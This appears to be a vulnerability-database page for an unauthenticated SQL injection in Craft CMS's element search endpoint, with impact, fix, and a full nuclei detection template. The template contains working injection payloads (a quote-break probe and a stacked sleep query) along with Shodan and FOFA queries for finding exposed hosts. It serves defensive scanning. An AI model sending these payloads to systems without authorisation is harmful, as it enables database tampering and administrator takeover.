HexBrain

Browse / CVEs / CVE-2026-123488

CVE-2026-123488· craftcms / craft cms· CWE-89

Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection

criticalseverity
9.8CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.

Impact

Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.

Fix

Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.

How to confirm it

Send: GET /
Positive when: contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")
Send: GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5B…
Positive when: status_code == 500
Send: @timeout: 30s
Positive when: status_code == 200 and duration >= 6

Run it with nuclei: nuclei -id CVE-2026-123488 -u <target>

The full check
id: CVE-2026-123488

info:
  name: Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Craft CMS < 4.18.9, < 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication.
  impact: |
    Remote attackers can read and modify the database, including setting admin flags or overwriting password hashes, leading to full administrator access.
  remediation: |
    Upgrade to Craft CMS 4.18.9 or 5.11.2 or later.
  reference:
    - https://github.com/craftcms/cms/security/advisories/GHSA-qcvp-ggx3-97r6
    - https://github.com/craftcms/cms/compare/4.18.8...4.18.9
    - https://github.com/dinosn/CVE-2026-123488-CraftCMS-Lab
    - https://www.vulncheck.com/advisories/craft-cms-4.0.0-before-4.18.9-sql-injection-via-element-search-endpoint
    - https://nvd.nist.gov/vuln/detail/CVE-2026-123488
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-123488
    epss-score: 0.00476
    epss-percentile: 0.41429
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: craftcms
    product: craft_cms
    shodan-query: http.html:"Craft CMS"
    fofa-query: 'header="X-Powered-By: Craft CMS"'
  tags: cve,cve2026,craftcms,craft,sqli,unauth,time-based,vkev

variables:
  err: "x%27"
  inj: "x%27%29%29%3B%20select%20sleep%286%29%3B%20%23"

flow: |
  (function () {
  if (!http(1)) { return; }

  let paths = ["/search", "/results", "/site-search"];

  let found = template.formact;
  if (found !== undefined && found !== null) {
    if (!Array.isArray(found)) { found = [found]; }
    let extra = [];
    for (let i = 0; i < found.length && extra.length < 2; i++) {
      let a = String(found[i]);
      if (a.indexOf("//") !== -1 || a.length > 60 || a.charAt(0) !== "/") { continue; }
      if (paths.indexOf(a) !== -1) { continue; }
      extra.push(a);
    }
    paths = extra.concat(paths);
  }

  for (let i = 0; i < paths.length && i < 5; i++) {
    set("sp", paths[i]);
    set("sep", paths[i].indexOf("?") === -1 ? "?" : "&");

    // a broken quote must reach SQL and 500; a dead path answers 404 and costs nothing more
    if (!http(2)) { continue; }

    // only then pay for the stacked sleep, which is what proves the impact
    if (http(3)) { return; }
  }
  })();

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(header), "x-powered-by: craft cms", "craft_csrf_token")'
        internal: true

    extractors:
      - type: regex
        name: formact
        part: body
        group: 1
        internal: true
        regex:
          - '<form[^>]*action="(/[^"]*(?:search|result)[^"]*)"'

  - raw:
      - |
        GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{err}}&query%5Bquery%5D=a&query%5Battribute%5D={{err}}&search%5Bquery%5D=a&search%5Battribute%5D={{err}}&s%5Bquery%5D=a&s%5Battribute%5D={{err}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{err}}&term%5Bquery%5D=a&term%5Battribute%5D={{err}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET {{sp}}{{sep}}q%5Bquery%5D=a&q%5Battribute%5D={{inj}}&query%5Bquery%5D=a&query%5Battribute%5D={{inj}}&search%5Bquery%5D=a&search%5Battribute%5D={{inj}}&s%5Bquery%5D=a&s%5Battribute%5D={{inj}}&keywords%5Bquery%5D=a&keywords%5Battribute%5D={{inj}}&term%5Bquery%5D=a&term%5Battribute%5D={{inj}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration >= 6'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from